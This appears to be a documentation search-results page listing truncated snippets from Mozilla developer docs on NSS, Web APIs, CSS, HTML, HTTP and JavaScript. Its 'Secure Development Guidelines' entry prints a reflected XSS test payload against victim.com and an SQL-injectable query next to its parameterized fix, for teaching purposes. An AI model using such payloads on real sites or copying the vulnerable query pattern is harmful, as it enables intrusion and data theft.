sample code 1 /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prprf.h> /* nss headers */ #include <nss.h> #include <pk11func.h> #include "util.h" /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -d <dbdirpath> [-p <plainpasswc>]" " [-f <passwdffile>]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p <plainpasswc>"); fprintf(stderr, "%-15s specify a password file...
...\n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */ char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a...
... password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stder...
...And 8 more matches
Scripting Java
these packages are likely not in the java package, so you'll need to prefix the package name with "packages." for example, to import the org.mozilla.javascript package you could use importpackage() as follows: $ java org.mozilla.javascript.tools.shell.main js> importpackage(packages.org.mozilla.javascript); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 occasionally, you will see examples that use the fully qualified name of the package instead of importing using the impor...
...this works just as in java, with the use of the new operator: js> new java.util.date() thu jan 24 16:18:17 est 2002 if we store the new object in a javascript variable, we can then call methods on it: js> f = new java.io.file("test.txt") test.txt js> f.exists() true js> f.getname() test.txt static methods and fields can be accessed from the class object itself: js> java.lang.math.pi 3.141592653589793 js> java.lang.math.cos(0) 1 in javascript, unlike java, the method by itself is an object and can be evaluated as well as being called.
... public class overload { public string f(object o) { return "f(object)"; } public string f(string s) { return "f(string)"; } public string f(int i) { return "f(int)"; } public string g(string s, int i) { return "g(string,int)"; } public string g(int i, string s) { return "g(int,string)"; } public static void main(string[] args) { overload o = new overload(); object[] a = new object[] { new integer(3), "hi", overload.
...And 8 more matches
Secure Development Guidelines
xss: example the following snippet of javascript: document.write("welcome to " + document.location); ...
... is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the datab...
...ase (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); writing secure code: arithmetic issues integer overflows/underflows overflows occ...
...And 8 more matches
A Web PKI x509 certificate primer
self-sign csr (using sha256) and append the extensions described in the file "openssl x509 -req -sha256 -days 3650 -in example.csr -signkey key.pem -set_serial $any_integer -extfile openssl.ss.cnf -out example.pem" you can now use example.pem as your certfile cas included in firefox when you visit a secure website, firefox will validate the website’s certificate by checking that the certificate that signed it is valid, and checking that the certificate that signed ...
...the root certificates included by default have their "trust bits" set to indicate if the ca's root certificates may be used to verify certificates for ssl servers, s/mime email users, and/or digitally-signed code objects without having to ask users for further permission or information.
... steps to generate your ca root certificate: generate key "openssl genpkey -algorithm rsa -out rootkey.pem -pkeyopt rsa_keygen_bits:4096" 4096 is considered secure for the next 15 years.
...And 8 more matches
mozIRegistry
it's not really about any "registry interface" so much as it's about how mozilla supports a more dynamic binding between interface clients and the code that actually provides the implementation of those interfaces.
...and it happens that we've chosen, up till now, to store that information in the "netscape registry" file.
... which explains how this information came to be associated with the notion of a "registry." someday (i hope) this page will be properly titled so that everybody knows it is the place to come to in order to find out how they are supposed to link together the various xpcom components that together form the mozilla browser.
...And 8 more matches
nsICategoryManager
to use this service, use: var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); method overview string addcategoryentry(in string acategory, in string aentry, in string avalue, in boolean apersist, in boolean areplace); void deletecategory(in string acategory); void deletecategoryentry(in string acategory, in string aentry, in boolean ape...
...("protocol") aentry the name of the category entry being modified.
... ("http") avalue the value for the category entry.
...And 8 more matches
Building an Account Manager Extension
we name the extension "devmo-account" and state that it is located in the chrome package "example@mozilla.org".
... components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts...
... if (server.type == \"imap\") return true; return false; }, queryinterface: xpcomutils.generateqi([ components.interfaces.nsimsgaccountmanagerextension ]) } step 2: building a component we convert the interface to a xpcom component and register it in the component manager as account manager extension.
...And 8 more matches
nsINavHistoryQueryOptions
an example is to exclude livemark items (parent folders have the "livemark/feeduri" annotation).
... excludequeries boolean set to true to exclude queries ("place:" uris) from the query results.
...it doesn't affect the query at all, and doesn't affect more complex queries (such as "folders with annotation x").
...And 8 more matches
nsIUpdate
if the update is not in the "failed" state, this value is zero.
... name astring the name of the update, in the form "application_name update_version" patchcount unsigned long the number of patches supplied by this update.
... showneverforversion boolean whether to show the "no thanks" button in the update prompt.
...And 8 more matches
nsIZipWriter
file and directory names should use slashes ("/") as separators and should not begin with a slash.
...to create an instance, use: var zipwriter = components.classes["@mozilla.org/zipwriter;1"] .createinstance(components.interfaces.nsizipwriter); method overview void addentrychannel(in autf8string azipentry, in prtime amodtime, in print32 acompression, in nsichannel achannel, in boolean aqueue); void addentrydirectory(in autf8string azipentry, in prtime amodtime, in boolean aqueue); void addentryfile(in autf8string azipentry, in print32 acompression, in nsifile afile, in boolean aqueue); ...
...if azipentry does not end with "/" then it will be added.
...And 8 more matches
Activity Manager examples
all custom activity xbl elements should inherit from "activity-base" binding.
... // step 1: adding a process into the activity manager const nsiap = components.interfaces.nsiactivityprocess; const nsiae = components.interfaces.nsiactivityevent; const nsiam = components.interfaces.nsiactivitymanager; let gactivitymanager = components.classes["@mozilla.org/activity-manager;1"].getservice(nsiam); let process = components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsimsgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process i...
...con // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(process); // step 2: showing some progress let percent = 50; process.setprogress(percent, "junk processing 25 of 50 messages", 25, 50); // step 3: removing the process and adding an event using process' attributes process.state = components.interfaces.nsiactivityprocess.state_completed; gactivitymanager.removeactivity(process.id); let event = components.classes["@mozilla.org/activity-event;1"].createinstance(nsiae); // localization is omitted, initiator is omitted event.init(folder.prettiestname + " is processed", null, "no junk found", process.starttime, // start time ...
...And 8 more matches
Type conversion
var buffer = ctypes.char.array(10)(); var somecfunction = library.declare("somecfunction", ctypes.default_abi, ctypes.void_t, ctypes.char.ptr); somecfunction(buffer); // here ctypes.char.array(10)() is converted to ctypes.char.ptr type implicit conversion can be tested in the following way: var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' boolean type target type source converted value ctypes.bool js boolean src js number (0 or 1) if src == 0: false if src =...
...= 1: true var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = true; console.log(mystruct.v.tostring()); // 'true' mystruct.v = false; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' mystruct.v = 0; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 10; // throws error mystruct.v = "a"; // throws error integer types target type source converted value ctypes.char16_t js string (only if its length == 1) src.charcodeat(0) any integer types js number (only if fits to the size) src js boolean if src == true: 1 if src == false: 0 var mystruct = ctypes.structtype("mystructtype", [ { "v"...
...: ctypes.char16_t } ])(); mystruct.v = 0x41; console.log(mystruct.v.tostring()); // "a" mystruct.v = true; console.log(mystruct.v.tostring()); // "\x01" mystruct.v = "x"; console.log(mystruct.v.tostring()); // "x" mystruct.v = "xx"; // throws error var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.int16_t } ])(); mystruct.v = 0x41; console.log(mystruct.v.tostring()); // 65 mystruct.v = true; console.log(mystruct.v.tostring()); // 1 mystruct.v = "x"; // throws error integer/float types are implicitly convertible if any data of source type could be representable in the target type.
...And 8 more matches
Background Tasks API - Web APIs
this establishes a box (id "container") that's used to present the progress of an operation (because you never know how long decoding "quantum filament tachyon emissions" will take, after all) as well as a second main box (with the id "logbox"), which is used to display textual output.
... <p> demonstration of using <a href="/docs/web/api/background_tasks_api"> cooperatively scheduled background tasks</a> using the <code>requestidlecallback()</code> method.
... </p> <div class="container"> <div class="label">decoding quantum filament tachyon emissions...</div> <progress id="progress" value="0"></progress> <div class="button" id="startbutton"> start </div> <div class="label counter"> task <span id="currenttasknumber">0</span> of <span id="totaltaskcount">0</span> </div> </div> <div class="logbox"> <div class="logheader"> log </div> <div id="log"> </div> </div> the progress box uses a <progress> element to show the progress, along with a label with sections that are changed to present numeric information about the progress.
...And 8 more matches
Using the CSS Typed Object Model - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap().
...let's start by adding some css to our example, including a custom property and an inhertable property: p { font-weight: bold; } a { --color: red; color: var(--color); } instead of getting all the properties, we create an array of properties of interest and use the stylepropertymapreadonly.get() method to get each of their values: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const allcomputedstyles = myelement.computedstylemap(); // array of properties we're interested in const ofinter...
...</p> <table id="regurgitation"> <thead> <tr> <th>property</th> <th>value</th> <th>unit</th> </tr> </table> for each property of interest, we list the name of the property, use .get(propertyname).value to return the value, and, if the object returned by the get() is a cssunitvalue, list the unit type we retrieve with .get(propertyname).unit.
...And 8 more matches
CanvasRenderingContext2D.textAlign - Web APIs
for example, if textalign is "center", then the text's left edge will be at x - (textwidth / 2).
... syntax ctx.textalign = "left" || "right" || "center" || "start" || "end"; options possible values: "left" the text is left-aligned.
... "right" the text is right-aligned.
...And 8 more matches
console - Web APIs
WebAPIConsole
for example: console.log("failed to open the specified link") this page documents the methods available on the console object and gives a few usage examples.
... outputting a single object the simplest way to use the logging methods is to output a single object: var someobject = { str: "some text", id: 5 }; console.log(someobject); the output looks something like this: [09:27:13.475] ({str:"some text", id:5}) outputting multiple objects you can also output multiple objects by simply listing them when calling the logging method, like this: var car = "dodge charger"; var someobject = { str: "some text", id: 5 }; console.info("my first car was a", car, ".
... the object is:", someobject); this output will look like this: [09:28:22.711] my first car was a dodge charger .
...And 8 more matches
CryptoKey - Web APIs
WebAPICryptoKey
properties cryptokey.type string which may take one of the following values: "secret": this key is a secret key for use with a symmetric algorithm.
... "private": this key is the private half of an asymmetric algorithm's cryptokeypair.
... "public": this key is the public half of an asymmetric algorithm's cryptokeypair.
...And 8 more matches
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
note: if a <div>, <span>, or <noembed> node has a child text node that includes the characters (&), (<), or (>), innerhtml returns these characters as the html entities "&amp;", "&lt;" and "&gt;" respectively.
... for example, you can erase the entire contents of a document by clearing the contents of the document's body attribute: document.body.innerhtml = ""; this example fetches the document's current html markup and replaces the "<" characters with the html entity "&lt;", thereby essentially converting the html into raw text.
... document.documentelement.innerhtml = "<pre>" + document.documentelement.innerhtml.replace(/</g,"&lt;") + "</pre>"; operational details what exactly happens when you set value of innerhtml?
...And 8 more matches
HTMLCanvasElement.getContext() - Web APIs
possible values are: "2d", leading to the creation of a canvasrenderingcontext2d object representing a two-dimensional rendering context.
... "webgl" (or "experimental-webgl") which will create a webglrenderingcontext object representing a three-dimensional rendering context.
... "webgl2" which will create a webgl2renderingcontext object representing a three-dimensional rendering context.
...And 8 more matches
IDBTransaction - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbtransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are started when the t...
...ransaction is created, not when the first request is placed; for example consider this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the code is executed the object store should contain the value "2", since trans2 should run after trans1.
...And 8 more matches
MouseEvent() - Web APIs
mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
... "screeny", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
... "clientx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the client window of user's screen; setting this value doesn't move the mouse pointer.
...And 8 more matches
RTCIceTransport.state - Web APIs
its value will be one of the following: "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both.
... "checking" at least one remote candidate has been received, and the rtcicetransport has begun examining pairings of remote and local candidates in order to attempt to identify viable pairs that could be used to establish a connection.
... "connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair.
...And 8 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
leveraging rtp to implement a "hold" feature because the streams for an rtcpeerconnection are implemented using rtp and the interfaces above, you can take advantage of the access this gives you to the internals of streams to make adjustments.
... among the simplest things you can do is to implement a "hold" feature, wherein a participant in a call can click a button and turn off their microphone, begin sending music to the other peer instead, and stop accepting incoming audio.
... in the examples below, we'll refer to the peer which is turning "hold" mode on and off as the local peer and the user being placed on hold as the remote peer.
...And 8 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
the interface consists of master controls, which allow us to play/stop the sequencer, and adjust the bpm (beats per minute) to speed up or slow down the "music".
...the techniques we are using are: name of voice technique associated web audio api feature "sweep" oscillator, periodic wave oscillatornode, periodicwave "pulse" multiple oscillators oscillatornode "noise" random noise buffer, biquad filter audiobuffer, audiobuffersourcenode, biquadfilternode "dial up" loading a sound sample to play audiocontext.decodeaudiodata(), audiobuffersourcenode note: this instrument was not created to sou...
... creating an audio context as you should be used to by now, each web audio api app starts with an audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound.
...And 8 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
if this parameter is omitted, a value of 0 is used, meaning execute "immediately", or more accurately, the next event cycle.
... html <p>live example</p> <button onclick="delayedalert();">show an alert box after two seconds</button> <p></p> <button onclick="clearalert();">cancel alert before it happens</button> javascript var timeoutid; function delayedalert() { timeoutid = window.settimeout(window.alert, 2*1000, 'that was really slow!'); } function clearalert() { window.cleartimeout(timeoutid); } result see also cleartimeout() example.
...example: settimeout(function(arg1){}.bind(undefined, 10), 1000); the "this" problem when you pass a method to settimeout() (or any other function, for that matter), it will be invoked with a this value that may differ from your expectation.
...And 8 more matches
Using the aria-hidden attribute - Accessibility
description adding aria-hidden="true" to an element removes that element and all of its children from the accessibility tree.
... this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
... using aria-hidden="false" will not re-expose the element to assistive technology if any of its parents specify aria-hidden="true".
...And 8 more matches
ARIA: rowgroup role - Accessibility
an element with role="rowgroup" is a group of rows within a tabular structure.
... <div role="table" aria-label="populations" aria-describedby="country_population_desc"> <div id="country_population_desc">world populations by country</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="descending">country</span> <span role="columnheader"aria-sort="none">population</span> </div> </div> <div role="rowgroup"> <div role="row"> <span role="cell">finland</span> <span role="cell">5.5 million</span> </div> <div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> </div> </div> description rowg...
... to create an aria table header, table footer or table body, add role="rowgroup" to the element.
...And 8 more matches
Accessibility: What users can do to browse more safely - Accessibility
personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered.
...they can be addressed by the design and speed of the display and computer" hardware and operating systems on many computers offer control that is not afforded to developers.
...examples include: transitionrun transitionstart transitionend transitioncancel edge 75 and above (desktop, in windows 10) according to eric bailey, in his april 30, 2019 article revisiting prefers-reduced-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com from thomas steiner's article "move ya!
...And 8 more matches
Coordinate systems - CSS: Cascading Style Sheets
offset coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.
... client the "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred.
... page the "page" coordinate system gives the position of a pixel relative to the top-left corner of the entire document in which the pixel is located.
...And 8 more matches
Grid template areas - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color:...
... #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> using this method we do not need to specify anything at all on the individual grid items, everything happens on our grid container.
...#f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" ".
...And 8 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
in firefox, the file input reads "no files selected" when the attribute is present and "no file selected" when not, when no files are selected.
... <input type="email" multiple name="emails" id="emails"> if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses.
... <input type="file" multiple name="uploads" id="uploads"> when the attribute is omitted, the user can only select a single file per <input>.
...And 8 more matches
Using the application cache - HTML: Hypertext Markup Language
how the application cache works enabling the application cache to enable the application cache for an application, include the manifest attribute in the <html> element: <html manifest="/example.appcache"> … </html> the manifest attribute references a url for a cache manifest file: a text file that lists urls that browsers should cache for your application.
...[allow] [never for this site] [not now] the term "offline(-enabled) applications" sometimes refers specifically to applications that the user has allowed to use offline capabilities.
... storage location and clearing the offline cache in chrome you can clear the offline cache by selecting "clear browsing data..." in the preferences or by visiting chrome://appcache-internals/.
...And 8 more matches
MIME types (IANA media types) - HTTP
with the exception of multipart/form-data, used in the post method of html forms, and multipart/byteranges, used with 206 partial content to send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document).
...examples include multipart/form-data (for data produced using the formdata api) and multipart/byteranges (defined in rfc 7233: 5.4.1 and used with http's 206 "partial content" response returned when the fetched data is only part of the content, such as is delivered using the range header).
...they treat it as if the content-disposition header was set to attachment, and propose a "save as" dialog.
...And 8 more matches
Browser detection using the user agent - HTTP
so, you might have thought to do this: // this code snippet splits a string in a special notation if (navigator.useragent.indexof("chrome") !== -1){ // yes!
... var camelcaseexpression = new regexp("(?<=[a-z])"); var splitupstring = function(str) { return (""+str).split(camelcaseexpression); }; } else { /*this fallback code is much less performant, but works*/ var splitupstring = function(str){ return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); }; } console.log(splitupstring("foobare")); // ["foob", "are"] console.log(splitupstring("jqwhy")); // ["jq", "w", "hy"] the above code would have made several incorrec...
...t assumptions: it assumed that all user agent strings that include the substring "chrome" are chrome.
...And 8 more matches
Firefox user agent string reference - HTTP
firefox os phones simply say "mobile"; the web is the platform.
... note that platform can consist of multiple "; "-separated tokens.
... rv:geckoversion indicates the release version of gecko (such as "17.0").
...And 8 more matches
Intl.NumberFormat.prototype.formatToParts() - JavaScript
the structure the formattoparts() method returns, looks like this: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" } ] possible types are the following: currency the currency string, such as the symbols "$" and "" or the name "dollar", "euro" depending on how currencydisplay is specified.
... decimal the decimal separator string (".").
... group the group separator string (",").
...And 8 more matches
Intl.RelativeTimeFormat() constructor - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...possible values are: "always" (default, e.g., 1 day ago), or "auto" (e.g., yesterday).
... the "auto" value allows to not always have to use numeric values in the output.
...And 8 more matches
Object.create() - JavaScript
for example, here are two objects: oco = object.create( {} ); // create a normal object ocn = object.create( null ); // create a "null" object > console.log(oco) // {} -- seems normal > console.log(ocn) // {} -- seems normal here too, so far oco.p = 1; // create a simple property on normal obj ocn.p = 0; // create a simple property on "null" obj > console.log(oco) // {p: 1} -- still seems normal > console.log(ocn) // {p: 0} -- still seems normal here too.
...however, when attempting to actually use these objects, their differences quickly become apparent: > "oco is: " + oco // shows "oco is: [object object]" > "ocn is: " + ocn // throws error: cannot convert object to primitive value testing just a few of the many most basic built-in functions shows the magnitude of the problem more clearly: > alert(oco) // shows [object object] > alert(ocn) // throws error: cannot convert object to primitive value > oco.tostring() // shows [object object] > ocn.tostring() // throws error: ocn.tostring is not a function > oco.valueof() // shows {} > ocn.valueof() // throws error: ocn.valueof is not a function > oco.hasownproperty("p") // shows "true" > ocn.hasownproperty("p") // throws error: ocn.h...
...asownproperty is not a function > oco.constructor // shows "object() { [native code] }" > ocn.constructor // shows "undefined" as said, these differences can make debugging even simple-seeming problems quickly go astray.
...And 8 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
the most popular approach is the app shell concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application.
... this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page.
... progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available.
...And 8 more matches
simple-storage - Archive of obsolete content
to store a value, just assign it to a property on storage: var ss = require("sdk/simple-storage"); ss.storage.myarray = [1, 1, 2, 3, 5, 8, 13]; ss.storage.myboolean = true; ss.storage.mynull = null; ss.storage.mynumber = 3.1337; ss.storage.myobject = { a: "foo", b: { c: true }, d: null }; ss.storage.mystring = "o frabjous day!"; you can store array, boolean, number, object, null, and string values.
...var ss = require("sdk/simple-storage"); ss.foo = "i will not be saved!
... :("; simple storage and "jpm run" the simple storage module stores its data in your profile.
...And 7 more matches
url - Archive of obsolete content
isvaliduri("http://mozilla.org") would return true, whereas isvaliduri("mozilla.org") would return false.
... var urls = require("sdk/url"); console.log(urls.gettld("http://www.bbc.co.uk/")); // "co.uk" console.log(urls.gettld("https://developer.mozilla.org/")); // "org" parameters url : string the url, as a string.
...for example: var url = require("sdk/url").url("https://developer.mozilla.org/add-ons?example=true&visible=yes#top"); console.log(url.scheme); // https userpass the username:password part of the url, null if not present.
...And 7 more matches
console - Archive of obsolete content
console.error(object[, object, ...]) logs the arguments to the console, preceded by "error:" and the name of your add-on: console.error("this is an error message"); error: my-addon: this is an error message console.exception(exception) logs the given exception instance as an error, outputting information about the exception's stack traceback if one is available.
... try { dothing(); } catch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
... console.log(object[, object, ...]) logs the arguments to the console, preceded by "info:" and the name of your add-on: console.log("this is an informational message"); info: my-addon: this is an informational message console.time(name) starts a timer with a name specified as an input parameter.
...And 7 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
...And 7 more matches
HTML to DOM - Archive of obsolete content
function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a...
...s of type element here is a sample that counts the number of paragraphs in a string: var dompars = htmlparser('<p>foo</p><p>bar</p>'); alert(dompars.getelementsbytagname('p').length); if htmlparser() returns the element name html (instead of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not chrome).
...for that matter, we're going to load our html document first: var request = xmlhttprequest(); request.open("get", "http://example.org/file.html", false); request.send(null); our next step is to create the document object that will represent the dom into which we'll insert our newly-retrieved html: var doc = document.implementation.createhtmldocument("example"); doc.documentelement.innerhtml = request.responsetext; after this any manipulation that we might want to do will be something as simple as the following: doc.body.textcontent = "this is inside the body!"; using a hidden iframe ele...
...And 7 more matches
Enhanced Extension Installation - Archive of obsolete content
for extensions, on the next startup, the startup system notices the presence of the .autoreg file and starts the extension manager with a "dirty" flag, telling it to finish any install operations that may be pending.
... the startup process receives this "needsrestart" bit when the extension manager's startup completes, shuts down xpcom and relaunches the application.
...e as installation - the user requests an action through the ui while the application is running and metadata is written (tobeuninstalled, tobedisabled, tobeenabled) and a .autoreg file created in the profile so that on the subsequent startup the extension system's startup routine can remove files (in the uninstall case) and write a new extensions.ini file listing the directories for the currently "active" items.
...And 7 more matches
Adding Events and Commands - Archive of obsolete content
window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need.
... another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior.
... also, note that the addeventlistener method receives the event name without the "on" prefix, while element attributes do have the prefix.
...And 7 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
